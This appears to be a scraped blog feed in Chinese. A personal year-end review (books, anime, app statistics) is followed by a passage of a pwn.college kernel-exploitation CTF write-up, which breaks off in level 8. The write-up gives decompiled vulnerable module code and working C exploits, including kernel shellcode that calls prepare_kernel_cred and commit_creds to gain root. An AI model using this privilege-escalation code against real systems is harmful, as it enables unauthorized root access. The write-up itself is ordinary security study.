&lt;p&gt;列了一个&lt;a href=&quot;https://memos.cubeyond.net/memos/Fr9JQo5UdCYz9ugur8o3kv&quot;&gt;小书单&lt;/a&gt;，应该已经超过 30+ 本书了，是目前这个小书架所承受不了的压力……&lt;/p&gt;
&lt;p&gt;这是上半年的书架：&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1sfihtpzcz.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8s3rzq2c7k.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;这是下半年的书架：&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7lkgxkn60g.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;学校里还有一堆书没搬回来，估计到时候得堆地上了 :skull:&lt;/p&gt;
&lt;p&gt;少有人走的路系列自从看了第一部，就深深爱上了。里面有些内容真的有救赎当时的我，然后就全部拿下了。不过这一整个系列带给我的更多的是一些理想化的东西，这个暑假的经历却让我更深切的感受到了，没有现实主义的支撑，理想主义最终只能成为空想主义。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6t7l96g4ch.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;这两本哲学史也是在 vlex 的推荐下去读的，本以为历史是枯燥乏味的，但是这两本书其实还挺有趣。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.92qlsvnlpe.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;今年先对不同的哲学思想都做一个浅浅的了解，明年去研读一下存在主义相关的书籍。&lt;/p&gt;
&lt;p&gt;此外，希望我以后能再多了解一点历史和政治方面的内容。&lt;/p&gt;
&lt;p&gt;And.. I wanna a bigger bookshelf :(&lt;/p&gt;
&lt;h1&gt;写作 | 写什么不是写&lt;/h1&gt;
&lt;p&gt;闲得没事，随便申请了一下十年之约，然后直接通过了 xD&lt;/p&gt;
&lt;p&gt;这就是博主的浪漫吗哈哈哈，希望我的博客一辈子不关闭。&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.eszdsqr67.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1lcamefnre.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;看了下今年居然发了 37 篇博客，太高产了（&lt;/p&gt;
&lt;h1&gt;观影 | 枯燥生活的调味剂&lt;/h1&gt;
&lt;p&gt;每天都学各种各样的东西真的会身心疲惫，又不想打游戏，然后就尝试去看一些经典电影什么的，还是挺有意思的。不过很多电影看完后劲都有点小大，基本上一天的心情就被一部电影带过去了（&lt;/p&gt;
&lt;p&gt;另外，也是在 vlex 的建议下，我入坑了动漫世界 LOL&lt;/p&gt;
&lt;p&gt;一开始我对动漫的印象只有中二青年看的那些热血漫，那是真没兴趣，不过 vlex 说很多动漫也是很有深度的，都有着它的哲学思想在里面，在他的推荐下我从&amp;lt;i&amp;gt;《漂流少年》&amp;lt;/i&amp;gt;开始入门，神作啊，从此爱上动漫哈哈哈。&lt;/p&gt;
&lt;p&gt;后来闲得没事给自己建了一个&lt;a href=&quot;/collections/&quot;&gt;片单&lt;/a&gt;，维护我的追番列表 :D&lt;/p&gt;
&lt;h1&gt;杂项 | 奇奇怪怪的年报们&lt;/h1&gt;
&lt;h2&gt;Discord&lt;/h2&gt;
&lt;p&gt;深夜男娘陪聊是什么？我怎么不知道？毁了兄弟，被 discord 毁了……&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2dp66x23o3.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6pnzeglf61.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6pnzeglf66.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3k8hfir08r.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3govhsxxio.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Bilibili&lt;/h2&gt;
&lt;p&gt;用的比去年少了，bro 正在脱离互联网（bushi&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9ddfovh99f.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.64ebs7trmx.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Spotify&lt;/h2&gt;
&lt;p&gt;好像比去年的年报好看很多？&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.lw7c2po3v.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6wr79yehxq.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.szf7ibak4.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7axn0tmssz.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Hypixel&lt;/h2&gt;
&lt;p&gt;终于拿下 &lt;em&gt;Legendary Fisher&lt;/em&gt; 的头衔，这下真可以养老了（&lt;/p&gt;
&lt;p&gt;话说去年总游戏时长还有 12d，今年直接缩了一半吗？I love fishing!&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.92qlx8dz25.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4jokwx3oi7.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;每年的最后一刻一定是在 Hypixel 看 hanabi &amp;lt;3&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3ns3hri9jr.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4ubeqd764x.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6wr7ef5r5w.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2kse6vmfmq.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9kgnoryshl.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8vne4rb9i6.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1ziqkkrzdw.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7w7arl8icq.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: System Security (Kernel Security) series (Completed)</title><link>https://cubeyond.net/posts/write-ups/pwncollege-kernel-security/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/pwncollege-kernel-security/</guid><description>Write-ups for pwn.college kernel exploitation series.</description><pubDate>Fri, 19 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import GithubCard from &quot;@components/misc/GithubCard.astro&quot;;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你终于踏入了 Ring 0，那不是权力的开始，而是谦卑的第一步。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;本来预计 12.1 看完 kernel 的几个讲义，2 号直接开始做题，然后我也不知道我在干什么，讲义看了十几天才看完，一直到 19 号才开始做第一题……&lt;/p&gt;
&lt;p&gt;期间花了几天时间写了一个全平台通用的自动化创建 kernel exploitation lab 环境的脚本，&lt;s&gt;请务必 star 一下（&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;GithubCard repo=&quot;CuB3y0nd/panix&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;之后又因为每次一个 exp 脚本都要写很长很长，而且很多功能重复，就写了一个专用于打 kernel 的 C 版本 pwntools:&lt;/p&gt;
&lt;p&gt;&amp;lt;GithubCard repo=&quot;CuB3y0nd/axium&quot; /&amp;gt;&lt;/p&gt;
&lt;h1&gt;Level 1.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Ease into kernel exploitation with this simple crackme level!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;经典的 LKM 结构，加载的时候调用 &lt;code&gt;init_module&lt;/code&gt;，移除的时候调用 &lt;code&gt;cleanup_module&lt;/code&gt;，&lt;code&gt;init_module&lt;/code&gt; 里面打开了 &lt;code&gt;/flag&lt;/code&gt; 并写入内核空间的 buffer，然后通过 &lt;code&gt;proc_create&lt;/code&gt; 创建了 &lt;code&gt;/proc/pwncollege&lt;/code&gt;，提供了 &lt;code&gt;device_open&lt;/code&gt;，&lt;code&gt;device_write&lt;/code&gt;，&lt;code&gt;device_read&lt;/code&gt;，&lt;code&gt;device_release&lt;/code&gt;，我们发现 &lt;code&gt;device_write&lt;/code&gt; 里面实现了如下状态机：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
  size_t n16; // rdx
  char password[16]; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v8; // [rsp+10h] [rbp-18h]

  v8 = __readgsqword(0x28u);
  printk(&amp;amp;unk_810);
  n16 = 16;
  if ( length &amp;lt;= 0x10 )
    n16 = length;
  copy_from_user(password, buffer, n16);
  device_state[0] = (strncmp(password, &quot;ucihjkpyaybhjjsf&quot;, 0x10u) == 0) + 1;
  return length;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果我们写入密码 &lt;code&gt;ucihjkpyaybhjjsf&lt;/code&gt;，&lt;code&gt;device_write&lt;/code&gt; 就会将 &lt;code&gt;device_state[0]&lt;/code&gt; 设置为 2，继续看 &lt;code&gt;device_read&lt;/code&gt; 函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssize_t __fastcall device_read(file *file, char *buffer, size_t length, loff_t *offset)
{
  const char *flag; // rsi
  size_t length_1; // rdx
  unsigned __int64 v8; // kr08_8

  printk(&amp;amp;unk_850);
  flag = flag;
  if ( device_state[0] != 2 )
  {
    flag = &quot;device error: unknown state\n&quot;;
    if ( device_state[0] &amp;lt;= 2 )
    {
      flag = &quot;password:\n&quot;;
      if ( device_state[0] )
      {
        flag = &quot;device error: unknown state\n&quot;;
        if ( device_state[0] == 1 )
        {
          device_state[0] = 0;
          flag = &quot;invalid password\n&quot;;
        }
      }
    }
  }
  length_1 = length;
  v8 = strlen(flag) + 1;
  if ( v8 - 1 &amp;lt;= length )
    length_1 = v8 - 1;
  return v8 - 1 - copy_to_user(buffer, flag, length_1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果 &lt;code&gt;device_state[0] == 2&lt;/code&gt; 就将内核中的 flag 写入到用户态的 buffer 中。&lt;/p&gt;
&lt;p&gt;最后庆祝一下人生中第一道 kernel（&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.lw6yu8lcj.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define FLAG_LENGTH 0x100

char password[] = &quot;ucihjkpyaybhjjsf&quot;;
char flag[FLAG_LENGTH];

int main(int argc, char *argv[]) {
  int fd = open(&quot;/proc/pwncollege&quot;, O_RDWR);

  write(fd, password, strlen(password));
  read(fd, flag, FLAG_LENGTH);
  write(STDOUT_FILENO, flag, FLAG_LENGTH);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 2.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Ease into kernel exploitation with another crackme level.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;输密码，密码对了就成了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

char password[] = &quot;zcexibhdcclcottw&quot;;

int main(int argc, char *argv[]) {
  int fd = open(&quot;/proc/pwncollege&quot;, O_WRONLY);

  write(fd, password, strlen(password));

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 3.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Ease into kernel exploitation with another crackme level, this time with some privilege escalation (whoami?).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;白给的提权函数，提权后再 &lt;code&gt;cat /flag&lt;/code&gt; 就好了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

char password[] = &quot;tzrfzpifnzshksnp&quot;;

int main(int argc, char *argv[]) {
  int fd = open(&quot;/proc/pwncollege&quot;, O_WRONLY);

  printf(&quot;Current UID: %d\n&quot;, getuid());
  write(fd, password, strlen(password));
  printf(&quot;Current UID: %d\n&quot;, getuid());
  system(&quot;cat /flag&quot;);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 4.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Ease into kernel exploitation with another crackme level and learn how kernel devices communicate.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这次提供的是 &lt;code&gt;device_ioctl&lt;/code&gt;，即我们需要通过 &lt;code&gt;ioctl&lt;/code&gt; 函数来操作设备。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  __int64 result; // rax
  int v5; // r8d
  char password[16]; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v7; // [rsp+10h] [rbp-18h]

  v7 = __readgsqword(0x28u);
  printk(&amp;amp;unk_328, file, cmd, arg);
  result = -1;
  if ( cmd == 1337 )
  {
    copy_from_user(password, arg, 16);
    v5 = strncmp(password, &quot;qyikgpxrxvcinxbe&quot;, 0x10u);
    result = 0;
    if ( !v5 )
    {
      win();
      return 0;
    }
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define REQUEST 1337

char password[] = &quot;qyikgpxrxvcinxbe&quot;;

int main(int argc, char *argv[]) {
  int fd = open(&quot;/proc/pwncollege&quot;, O_WRONLY);

  printf(&quot;Current UID: %d\n&quot;, getuid());
  ioctl(fd, REQUEST, password);
  printf(&quot;Current UID: %d\n&quot;, getuid());
  system(&quot;cat /flag&quot;);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 5.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Utilize your hacker skillset to communicate with a kernel device and get the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;device_ioctl&lt;/code&gt; 把 &lt;code&gt;arg&lt;/code&gt; 当函数执行了，由于没开 kASLR, 所以可以直接通过 &lt;code&gt;lsmod&lt;/code&gt; 得到 module 的加载基地址，用它加上模块内函数地址作为 &lt;code&gt;arg&lt;/code&gt; 传入即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  __int64 result; // rax

  printk(&amp;amp;unk_928, file, cmd, arg);
  result = -1;
  if ( cmd == 1337 )
  {
    ((void (*)(void))arg)();
    return 0;
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;~ # lsmod
challenge 16384 0 - Live 0xffffffffc0000000 (O)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define REQUEST 1337

int main(int argc, char *argv[]) {
  int fd = open(&quot;/proc/pwncollege&quot;, O_WRONLY);

  printf(&quot;Current UID: %d\n&quot;, getuid());
  ioctl(fd, REQUEST, 0xffffffffc0000000 + 0x8BD);
  printf(&quot;Current UID: %d\n&quot;, getuid());
  system(&quot;cat /flag&quot;);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 6.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Utilize a &apos;buggy&apos; kernel device and shellcode to escalate privileges to root and get the flag!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;读入 shellcode，然后执行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
  size_t n4096; // rdx
  __int64 v6; // rbp

  printk(&amp;amp;unk_698, file, buffer, length, offset);
  n4096 = 4096;
  if ( length &amp;lt;= 0x1000 )
    n4096 = length;
  v6 = copy_from_user(shellcode, buffer, n4096);
  ((void (*)(void))shellcode)();
  return length - v6;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;~ # cat /proc/kallsyms | grep &quot;prepare_kernel_cred\|commit_creds&quot;
ffffffff81089310 T commit_creds
ffffffff81089660 T prepare_kernel_cred
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意 &lt;code&gt;call&lt;/code&gt; 指令需要指定返回到哪里，否则会跑飞。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main(int argc, char *argv[]) {
  int fd = open(&quot;/proc/pwncollege&quot;, O_WRONLY);

  unsigned char sc[] =
      &quot;\x48\x31\xff&quot;                 // xor rdi, rdi
      &quot;\x48\xc7\xc0\x60\x96\x08\x81&quot; // mov rax, 0xffffffff81089660
      &quot;\xff\xd0&quot;                     // call rax (prepare_kernel_cred)
      &quot;\x48\x89\xc7&quot;                 // mov rdi, rax
      &quot;\x48\xc7\xc0\x10\x93\x08\x81&quot; // mov rax, 0xffffffff81089310
      &quot;\xff\xd0&quot;                     // call rax (commit_creds)
      &quot;\xc3&quot;;                        // ret

  write(fd, sc, sizeof(sc));
  system(&quot;cat /flag&quot;);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用我的 axium 后只要这样写：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;axium/axium.h&amp;gt;

int main(void) {
  int fd = open(&quot;/proc/pwncollege&quot;, O_WRONLY);

  payload_t escalate;
  payload_init(&amp;amp;escalate);
  ksc_escalate(&amp;amp;escalate, 0xffffffff81089660, 0xffffffff81089310);

  write(fd, escalate.data, escalate.size);
  system(&quot;cat /flag&quot;);

  payload_fini(&amp;amp;escalate);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 7.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Utilize a &apos;buggy&apos; kernel device and shellcode to escalate privileges to root and get the flag!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题用 &lt;code&gt;ioctl&lt;/code&gt;，并且改了逻辑，需要按照特定内存 layout 来布置 shellcode 。&lt;/p&gt;
&lt;p&gt;第一个 &lt;code&gt;copy_from_user&lt;/code&gt; 将 &lt;code&gt;arg&lt;/code&gt; 的前八字节当作 shellcode 长度写入 &lt;code&gt;shellcode_length&lt;/code&gt; 变量，第二次将 &lt;code&gt;arg + 0x1008&lt;/code&gt; 处的八字节写入 &lt;code&gt;shellcode_execute_addr&lt;/code&gt; 中，然后第三次则是将 &lt;code&gt;arg + 8&lt;/code&gt; 处的 shellcode 写入 &lt;code&gt;shellcode&lt;/code&gt; 中，最后执行的是 &lt;code&gt;shellcode_execute_addr[0]&lt;/code&gt;，即 &lt;code&gt;arg&lt;/code&gt; 指定要读入的 shellcode 的长度，&lt;code&gt;arg + 0x1008&lt;/code&gt; 指定要执行的 shellcode 地址，&lt;code&gt;arg + 8&lt;/code&gt; 处一共 0x1000 字节空间用于写 shellcode 。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  __int64 result; // rax
  size_t shellcode_length; // [rsp+0h] [rbp-28h] BYREF
  void (*shellcode_execute_addr[4])(void); // [rsp+8h] [rbp-20h] BYREF

  shellcode_execute_addr[1] = (void (*)(void))__readgsqword(0x28u);
  printk(&amp;amp;unk_11A0, file, cmd, arg);
  result = -1;
  if ( cmd == 1337 )
  {
    copy_from_user(&amp;amp;shellcode_length, arg, 8);
    copy_from_user((size_t *)shellcode_execute_addr, arg + 4104, 8);
    result = -2;
    if ( shellcode_length &amp;lt;= 0x1000 )
    {
      copy_from_user(shellcode, arg + 8, shellcode_length);
      shellcode_execute_addr[0]();
      return 0;
    }
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PACKED __attribute__((packed))
#define NAKED __attribute__((naked))

#define DEVICE_PATH &quot;/proc/pwncollege&quot;
#define REQUEST 1337

typedef struct {
  uint64_t sc_size;
  uint8_t sc[0x1000];
  uint64_t sc_addr;
} PACKED payload_t;

NAKED void escalate(void) {
  __asm__ volatile(&quot;.intel_syntax noprefix;&quot;
                   &quot;.global escalate_start;&quot;
                   &quot;.global escalate_end;&quot;
                   &quot;escalate_start:;&quot;
                   &quot;xor rdi, rdi;&quot;
                   &quot;mov rax, 0xffffffff81089660;&quot; // prepare_kernel_cred
                   &quot;call rax;&quot;
                   &quot;mov rdi, rax;&quot;
                   &quot;mov rax, 0xffffffff81089310;&quot; // commit_creds
                   &quot;call rax;&quot;
                   &quot;ret;&quot;
                   &quot;escalate_end:;&quot;
                   &quot;.att_syntax;&quot;);
}

extern char escalate_start[];
extern char escalate_end[];

static inline size_t get_escalate_size(void) {
  return escalate_end - escalate_start;
}

static inline void construct_payload(payload_t *p, uint64_t exec_addr) {
  size_t size = get_escalate_size();

  p-&amp;gt;sc_size = size;
  memcpy(p-&amp;gt;sc, escalate_start, size);
  p-&amp;gt;sc_addr = exec_addr;
}

int main(void) {
  int fd = open(DEVICE_PATH, O_WRONLY);
  assert(fd &amp;gt; 0);

  payload_t payload = {0};
  size_t escalate_size = escalate_end - escalate_start;

  construct_payload(&amp;amp;payload, 0xffffc90000085000ULL);

  assert(ioctl(fd, REQUEST, &amp;amp;payload) &amp;gt;= 0);
  close(fd);
  system(&quot;cat /flag&quot;);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 8.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Utilize a userspace binary to interact with a kernel device.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这个 challenge 给了两个文件，一个用户态的程序，一个内核 module，话不多说，直接逆。&lt;/p&gt;
&lt;p&gt;下面是内核 module 主要逻辑，从用户态读入 shellcode 到内核态的 buf 然后执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
  size_t n4096; // rdx
  __int64 v6; // rbp

  printk(&amp;amp;unk_968, file, buffer, length, offset);
  n4096 = 4096;
  if ( length &amp;lt;= 0x1000 )
    n4096 = length;
  v6 = copy_from_user(shellcode, buffer, n4096);
